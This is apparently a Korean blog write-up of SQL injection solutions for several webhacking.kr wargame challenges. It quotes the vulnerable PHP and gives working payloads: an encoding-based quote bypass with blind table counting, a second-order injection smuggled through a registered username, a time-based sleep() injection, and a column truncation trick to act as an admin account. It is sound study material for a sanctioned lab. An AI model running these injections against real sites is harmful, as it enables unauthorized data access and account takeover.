WriteUp

webhacking.kr sqli vulns

45번 문제의 소스다

$_GET[id]=mb_convert_encoding($_GET[id],’utf-8′,’euc-kr’);

$data=@mysql_fetch_array(mysql_query(“select id from members where id=’$_GET[id]’ and pw=md5(‘$_GET[pw]’)”));

if(eregi(“admin”,$_GET[id])) exit();
if(eregi(“from”,$_GET[id])) exit();
if(eregi(“union”,$_GET[id])) exit();
if(eregi(“limit”,$_GET[id])) exit();
if(eregi(“union”,$_GET[pw])) exit();
if(eregi(“pw”,$_GET[pw])) exit();
if(eregi(“=”,$_GET[pw])) exit();
if(eregi(“>”,$_GET[pw])) exit();
if(eregi(“<",$_GET[pw])) exit(); pw에는 from, select 를 안막았다 id에서 싱글쿼터 사용 가능하니까 a%aa'/* 주고 pw에 */ 주면 id='a%aa'/*' and pw=md5('*/') 일케 된다. =, >, < 가 필터링되었으니 xor 연산자를 사용해서 */or ((select count(table_name) from information_schema.tables where table_type like 0x42415345205441424C45) between 1 and 72)^1 like 0# */or ((select count(table_name) from information_schema.tables where table_type like 0x42415345205441424C45) between 1 and 73)^1 like 0# 이렇게 공격해서 테이블 갯수가 73개란걸 알아냈다. 그뒤는 똑같으니 생략 ========================================================================= 35번문제보면 if(eregi("%|\*|/|=|from|select|x|-|#|\(\(",$_GET[phone])) exit("no hack"); @mysql_query("insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone])") or die("query error"); echo("Done
“);

요래 되어있음.

웹케알은 magic_quotes_gpc = on 이라 우리가 asdf’ 라는 아이디로 로그인하면 asdf’가 그대로 $_SESSION[id]에 박힘

그래서 여기서 indirect 로 필터없는 sqli가 가능함

‘,’내ip’,(select 1 from 인포스키마 어쩌구저쩌구))# 이런걸로 가입, 로긴해봄

근데 로긴이 안됨

알고보니 웹케알 회원테이블의 아이디 칼럼 max length가 40임 (한땀한땀 테스트해서 알아냄)

쿼리 조작을 위해 기본적으로 필요한게 20바이트 넘으니까 남은 20도 안되는 바이트로 인포스키마 select 하는건 도저히 불가능

잘 생각해보니 phone에서 필터된건 from, select 정도가 다임

$_SESSION[id]에서 select, from 사용해주고 phone에서 나머지 공격 수행하면 됨

근데 phone에서 주석이 다 막힌지라 원래 내 ip주소 드가는부분 처리하기가 곤란함

아이디에 # 안막혀있으니 #으로 쭉 주석처리하고 phone에서 개행문자로 주석 끝내고 공격 진행하믄 깔끔해짐

‘,’내ip’,(select 1 from# 요걸로 가입해주고 뒤에 phone 에다가 %0ainformation_schema.tables where 0) 넣으니

insert into challenge35_list(id,ip,phone) values(”,’내ip’,(select(1)from#’,’내ip’,%0ainformation_schema.tables where 0)) 이렇게 되믄서 공격성공

=========================================================================

57번도 컬럼 갯수만 하나 다를뿐 똑같이 터짐.

if(eregi(“from|union|select|and|or|not|&|\||benchmark”,$_GET[se])) exit(“Access Denied”);

mysql_query(“insert into challenge57msg(id,msg,pw,op) values(‘$_SESSION[id]’,’$_GET[msg]’,’$secret_key’,$_GET[se])”);

=========================================================================

$_GET[id]=mb_convert_encoding($_GET[id],’utf-8′,’euc-kr’);

$data=@mysql_fetch_array(mysql_query(“select id from members where id=’$_GET[id]’ and pw=md5(‘$_GET[pw]’)”));

if(eregi(“admin”,$_GET[id])) exit();
if(eregi(“from”,$_GET[id])) exit();
if(eregi(“union”,$_GET[id])) exit();
if(eregi(“limit”,$_GET[id])) exit();
if(eregi(“union”,$_GET[pw])) exit();
if(eregi(“pw”,$_GET[pw])) exit();
if(eregi(“=”,$_GET[pw])) exit();
if(eregi(“>”,$_GET[pw])) exit();
if(eregi(“<",$_GET[pw])) exit(); if(eregi("from",$_GET[pw])) exit(); 45번인데 필터 목록은 좋음 근데 쿼리를 날리고나서 필터를 함ㅋ 필터를 당해서 exit이 되건말건 time based로 blind sqli 가능 id=%aa%27union%20select%20sleep(0.03)%20from%20information_schema.tables%20where%201=1%23 은근 흔한 실수 ========================================================================= column truncation attack됨 회원테이블 아이디칼럼 maxlength가 40이였으니 "oldzombie 1" (41글자) 로 가입 후 oldzombie 로 로긴하면 일부 기능 관리자껄로 사용가능 - 메세지, 메모등 열람됨

Leave a Reply

Your email address will not be published. Required fields are marked *